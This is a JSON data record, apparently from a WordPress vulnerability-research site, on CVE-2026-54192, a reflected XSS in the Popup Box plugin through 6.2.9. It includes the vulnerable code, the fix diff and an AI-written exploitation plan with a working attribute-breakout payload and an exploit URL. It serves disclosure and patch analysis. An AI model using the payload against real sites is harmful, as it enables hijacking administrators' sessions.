[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f4wkUX2Lj4LJS6Pcmx92F-iGNbovPn6ZvJNydEAjiRbE":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":38},"CVE-2026-54192","popup-box-create-countdown-coupon-video-contact-form-popups-reflected-cross-site-scripting","Popup Box – Create Countdown, Coupon, Video, Contact Form Popups \u003C= 6.2.9 - Reflected Cross-Site Scripting","The Popup Box – Create Countdown, Coupon, Video, Contact Form Popups plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 6.2.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.","ays-popup-box",null,"\u003C=6.2.9","6.3.0","medium",6.1,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-06-16 00:00:00","2026-06-23 16:00:06",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fd353bd5b-2155-458a-8959-89358bb00126?source=api-prod",8,[22,23,24,25,26],"admin\u002Fcss\u002Fays-pb-admin.css","ays-pb.php","includes\u002Flists\u002Fclass-ays-pb-list-table.php","includes\u002Flists\u002Fclass-ays-pb-popup-categories-list-table.php","readme.txt","researched",false,3,"This research plan outlines the technical details and exploitation strategy for **CVE-2026-54192**, a Reflected Cross-Site Scripting (XSS) vulnerability in the \"Popup Box\" WordPress plugin.\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** Reflected Cross-Site Scripting (XSS)\n*   **Affected Files:** \n    *   `includes\u002Flists\u002Fclass-ays-pb-popup-categories-list-table.php`\n    *   `includes\u002Flists\u002Fclass-ays-pb-list-table.php`\n*   **Vulnerable Component:** The `get_views()` method in the `WP_List_Table` implementations for Popups and Categories.\n*   **Root Cause:** The search parameter `s` is processed using `sanitize_text_field()` and `esc_sql()`, neither of which provide protection against HTML attribute injection. The resulting string is concatenated into an `href` attribute within an `\u003Ca>` tag that is wrapped in single quotes, without further escaping (e.g., via `esc_url` or `esc_attr`).\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin.php`\n*   **Query Parameters:**\n    *   `page`: `ays-pb-categories` or `ays-pb-popups`\n    *   `s`: The payload carrier.\n*   **Authentication:** Requires a victim with **Administrator** (or `manage_options`) privileges to visit a crafted link.\n*   **Broken Security Control:** Both vulnerable files contain a logic error in their nonce verification. The code performs `wp_verify_nonce( $this->ays_pb_nonce, 'action' )` where `$this->ays_pb_nonce` is a token generated by the plugin itself during the same request. This check compares a valid token against its own action string, which **always returns true**, effectively bypassing any CSRF\u002Fnonce protection for the page rendering.\n\n### 3. Code Flow\n1.  An administrator visits `wp-admin\u002Fadmin.php?page=ays-pb-categories&s=[payload]`.\n2.  The plugin instantiates `Popup_Categories_List_Table`.\n3.  The `get_views()` method is called to render the \"All\", \"Published\", and \"Unpublished\" filter links.\n4.  **Source:** `$_REQUEST['s']` is accessed.\n5.  **Processing:** \n    ```php\n    \u002F\u002F Line 96 in class-ays-pb-popup-categories-list-table.php\n    $search = esc_sql(sanitize_text_field($_REQUEST['s']));\n    $href .= '&s=' . $search;\n    ```\n    *   `sanitize_text_field` removes HTML tags but preserves single quotes (`'`).\n    *   `esc_sql` adds backslashes (e.g., `'` becomes `\\'`), which do not prevent attribute termination in HTML.\n6.  **Sink:** The unescaped `$href` is placed into an `\u003Ca>` tag:\n    ```php\n    \u002F\u002F Line 102\n    \"all\" => \"\u003Ca \" . $selected_all . \" href='\" . $href . \"'>\" . ...\n    ```\n7.  **Result:** The HTML rendered is `\u003Ca href='?page=ays-pb-categories&s=[payload]'>`. A payload like `x' onmouseover='alert(1)` terminates the `href` attribute and injects a new event handler.\n\n### 4. Nonce Acquisition Strategy\n**Bypass Identified:** The nonce check is programmatically flawed and does not require an attacker to provide a valid nonce.\n\nIn `includes\u002Flists\u002Fclass-ays-pb-popup-categories-list-table.php`:\n```php\n\u002F\u002F Line 57\nif (empty($this->ays_pb_nonce) || ! wp_verify_nonce( $this->ays_pb_nonce, 'ays_pb_admin_popup_categories_list_table_nonce' ) ) {\n    wp_die('Nonce verification failed!');\n}\n```\nBecause the code verifies `$this->ays_pb_nonce` (the server-side generated token) rather than a user-supplied parameter like `$_REQUEST['_wpnonce']`, the check **always succeeds**. No nonce acquisition is required for exploitation.\n\n### 5. Exploitation Strategy\nThe goal is to trigger an alert box in the context of the WordPress admin panel.\n\n*   **Payload:** `x' onmouseover='alert(document.domain)`\n*   **URL-Encoded Payload:** `x%27+onmouseover%3D%27alert%28document.domain%29`\n*   **Exploit URL:** \n    `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php?page=ays-pb-categories&s=x%27+onmouseover%3D%27alert%28document.domain%29`\n\n**Step-by-Step Execution:**\n1.  Using the `http_request` tool, the agent will send a GET request to the exploit URL using a session cookie for an Administrative user.\n2.  The agent will then verify the response body for the injected attribute.\n\n### 6. Test Data Setup\nBefore exploitation, the environment must be prepared:\n1.  **Plugin Activation:** Ensure `ays-popup-box` is installed and active.\n2.  **Administrative User:** Ensure an admin user exists (default in test environments).\n3.  **Create Category:** At least one Popup Category must exist so the list table renders the \"All\" link.\n    *   **WP-CLI:** `wp ays-pb category create --title=\"Test Category\" --published=1` (or via browser automation).\n\n### 7. Expected Results\n*   **Response Content:** The response HTML will contain the following broken-out `\u003Ca>` tag:\n    ```html\n    \u003Ca  style='font-weight:bold;' href='?page=ays-pb-categories&s=x\\' onmouseover=\\'alert(document.domain)'>All (1)\u003C\u002Fa>\n    ```\n*   **Execution:** When a user hovers over the \"All (1)\" link in a browser, the `alert(document.domain)` JavaScript will execute.\n\n### 8. Verification Steps\n1.  **Response Analysis:** Search the response body of the `http_request` for the string: `onmouseover=\\'alert(document.domain)`.\n2.  **DOM Verification:** Use `browser_navigate` to the exploit URL and `browser_eval` to check if the injected attribute exists:\n    ```javascript\n    \u002F\u002F Check if any anchor tag contains our payload in its attributes\n    [...document.querySelectorAll('a')].some(a => a.getAttribute('onmouseover')?.includes('alert'))\n    ```\n\n### 9. Alternative Approaches\nIf the `ays-pb-categories` page is restricted, the same vulnerability can be targeted via the main popups list:\n*   **Alternative URL:** `\u002Fwp-admin\u002Fadmin.php?page=ays-pb-popups&s=x%27+onmouseover%3D%27alert%281%29`\n*   **Sink:** `includes\u002Flists\u002Fclass-ays-pb-list-table.php` within the `get_views()` method.","The Popup Box plugin for WordPress is vulnerable to Reflected Cross-Site Scripting (XSS) via the search parameter 's' in the popup and category list tables. This occurs because the plugin uses sanitize_text_field and esc_sql on the input before concatenating it into a single-quoted HTML attribute, allowing attackers to terminate the attribute and inject arbitrary event handlers or scripts.","\u002F\u002F includes\u002Flists\u002Fclass-ays-pb-popup-categories-list-table.php lines 96-103\nif (isset($_REQUEST['s']) && $_REQUEST['s'] != '') {\n    $search = esc_sql(sanitize_text_field($_REQUEST['s']));\n    $href .= '&s=' . $search;\n}\n\n$status_links = array(\n    \"all\" => \"\u003Ca \" . $selected_all . \" href='\" . $href . \"'>\" . esc_html__('All', \"ays-popup-box\") . \" (\" . $all_count . \")\u003C\u002Fa>\",\n\n---\n\n\u002F\u002F includes\u002Flists\u002Fclass-ays-pb-list-table.php lines 238-241 (inside ays_pb_add_filters_to_link called by get_views)\nif (isset($_REQUEST['s']) && $_REQUEST['s'] != '') {\n    $search = esc_sql(sanitize_text_field($_REQUEST['s']));\n    $href .= '&s=' . $search;\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fays-popup-box\u002F6.2.9\u002Fincludes\u002Flists\u002Fclass-ays-pb-list-table.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fays-popup-box\u002F6.3.0\u002Fincludes\u002Flists\u002Fclass-ays-pb-list-table.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fays-popup-box\u002F6.2.9\u002Fincludes\u002Flists\u002Fclass-ays-pb-list-table.php\t2026-05-25 14:08:42.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fays-popup-box\u002F6.3.0\u002Fincludes\u002Flists\u002Fclass-ays-pb-list-table.php\t2026-06-01 06:58:56.000000000 +0000\n@@ -108,13 +108,17 @@\n             $selected_all = \"style='font-weight:bold;'\";\n         }\n \n-        $href = \"?page=\" . esc_attr($_REQUEST['page']);\n+        $href = add_query_arg(\n+            'page',\n+            isset($_REQUEST['page']) ? sanitize_key(wp_unslash($_REQUEST['page'])) : '',\n+            admin_url('admin.php')\n+        );\n         $href = $this->ays_pb_add_filters_to_link($href);\n \n         $status_links = array(\n-            \"all\" => \"\u003Ca \" . $selected_all . \" href='\" . $href . \"'>\" . esc_html__('All', \"ays-popup-box\") . \" (\" . $all_count . \")\u003C\u002Fa>\",\n-            \"published\" => \"\u003Ca \" . $selected_on . \" href='\" . $href . \"&fstatus=published'>\" . esc_html__('Published', \"ays-popup-box\") . \" (\" . $published_count . \")\u003C\u002Fa>\",\n-            \"unpublished\" => \"\u003Ca \" . $selected_off . \" href='\" . $href . \"&fstatus=unpublished'>\" . esc_html__('Unpublished', \"ays-popup-box\") . \" (\" . $unpublished_count . \")\u003C\u002Fa>\"\n+            \"all\" => \"\u003Ca \" . $selected_all . \" href='\" . esc_url($href) . \"'>\" . esc_html__('All', \"ays-popup-box\") . \" (\" . $all_count . \")\u003C\u002Fa>\",\n+            \"published\" => \"\u003Ca \" . $selected_on . \" href='\" . esc_url(add_query_arg('fstatus', 'published', $href)) . \"'>\" . esc_html__('Published', \"ays-popup-box\") . \" (\" . $published_count . \")\u003C\u002Fa>\",\n+            \"unpublished\" => \"\u003Ca \" . $selected_off . \" href='\" . esc_url(add_query_arg('fstatus', 'unpublished', $href)) . \"'>\" . esc_html__('Unpublished', \"ays-popup-box\") . \" (\" . $unpublished_count . \")\u003C\u002Fa>\"\n         );\n \n         return $status_links;\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fays-popup-box\u002F6.2.9\u002Fincludes\u002Flists\u002Fclass-ays-pb-popup-categories-list-table.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fays-popup-box\u002F6.3.0\u002Fincludes\u002Flists\u002Fclass-ays-pb-popup-categories-list-table.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fays-popup-box\u002F6.2.9\u002Fincludes\u002Flists\u002Fclass-ays-pb-popup-categories-list-table.php\t2026-05-25 14:08:42.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fays-popup-box\u002F6.3.0\u002Fincludes\u002Flists\u002Fclass-ays-pb-popup-categories-list-table.php\t2026-06-01 06:58:56.000000000 +0000\n@@ -75,17 +75,21 @@\n             $selected_all = \"style='font-weight:bold;'\";\n         }\n \n-        $href = \"?page=\" . esc_attr($_REQUEST['page']);\n+        $href = add_query_arg(\n+            'page',\n+            isset($_REQUEST['page']) ? sanitize_key(wp_unslash($_REQUEST['page'])) : '',\n+            admin_url('admin.php')\n+        );\n \n         if (isset($_REQUEST['s']) && $_REQUEST['s'] != '') {\n-            $search = esc_sql(sanitize_text_field($_REQUEST['s']));\n-            $href .= '&s=' . $search;\n+            $search = sanitize_text_field(wp_unslash($_REQUEST['s']));\n+            $href = add_query_arg('s', $search, $href);\n         }\n \n         $status_links = array(\n-            \"all\" => \"\u003Ca \" . $selected_all . \" href='\" . $href . \"'>\" . esc_html__('All', \"ays-popup-box\") . \" (\" . $all_count . \")\u003C\u002Fa>\",\n-            \"published\" => \"\u003Ca \" . $selected_1 . \" href='\" . $href . \"&fstatus=1'>\" . esc_html__('Published', \"ays-popup-box\") . \" (\" . $published_count . \")\u003C\u002Fa>\",\n-            \"unpublished\" => \"\u003Ca \" . $selected_0 . \" href='\" . $href . \"&fstatus=0'>\" . esc_html__('Unpublished', \"ays-popup-box\") . \" (\" . $unpublished_count . \")\u003C\u002Fa>\"\n+            \"all\" => \"\u003Ca \" . $selected_all . \" href='\" . esc_url($href) . \"'>\" . esc_html__('All', \"ays-popup-box\") . \" (\" . $all_count . \")\u003C\u002Fa>\",\n+            \"published\" => \"\u003Ca \" . $selected_1 . \" href='\" . esc_url(add_query_arg('fstatus', 1, $href)) . \"'>\" . esc_html__('Published', \"ays-popup-box\") . \" (\" . $published_count . \")\u003C\u002Fa>\",\n+            \"unpublished\" => \"\u003Ca \" . $selected_0 . \" href='\" . esc_url(add_query_arg('fstatus', 0, $href)) . \"'>\" . esc_html__('Unpublished', \"ays-popup-box\") . \" (\" . $unpublished_count . \")\u003C\u002Fa>\"\n         );","The exploit targets the WordPress admin panel pages 'ays-pb-categories' and 'ays-pb-popups'. An attacker crafts a link with a malicious payload in the 's' parameter, such as `x' onmouseover='alert(document.domain)`. When an authenticated administrator clicks this link, the plugin renders search filter links (\"All\", \"Published\", etc.) with the unescaped payload directly inside the 'href' attribute. Because the attribute is wrapped in single quotes and the payload contains a single quote, the attacker can break out of the URL context and inject a JavaScript event handler. Nonce protection is effectively bypassed because the plugin's internal verification logic compares its own server-side token against a fixed action string rather than validating a user-supplied parameter.","gemini-3-flash-preview","2026-06-25 23:29:34","2026-06-25 23:31:10",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","6.2.9","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fays-popup-box\u002Ftags\u002F6.2.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fays-popup-box.6.2.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fays-popup-box\u002Ftags\u002F6.3.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fays-popup-box.6.3.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fays-popup-box\u002Ftags"]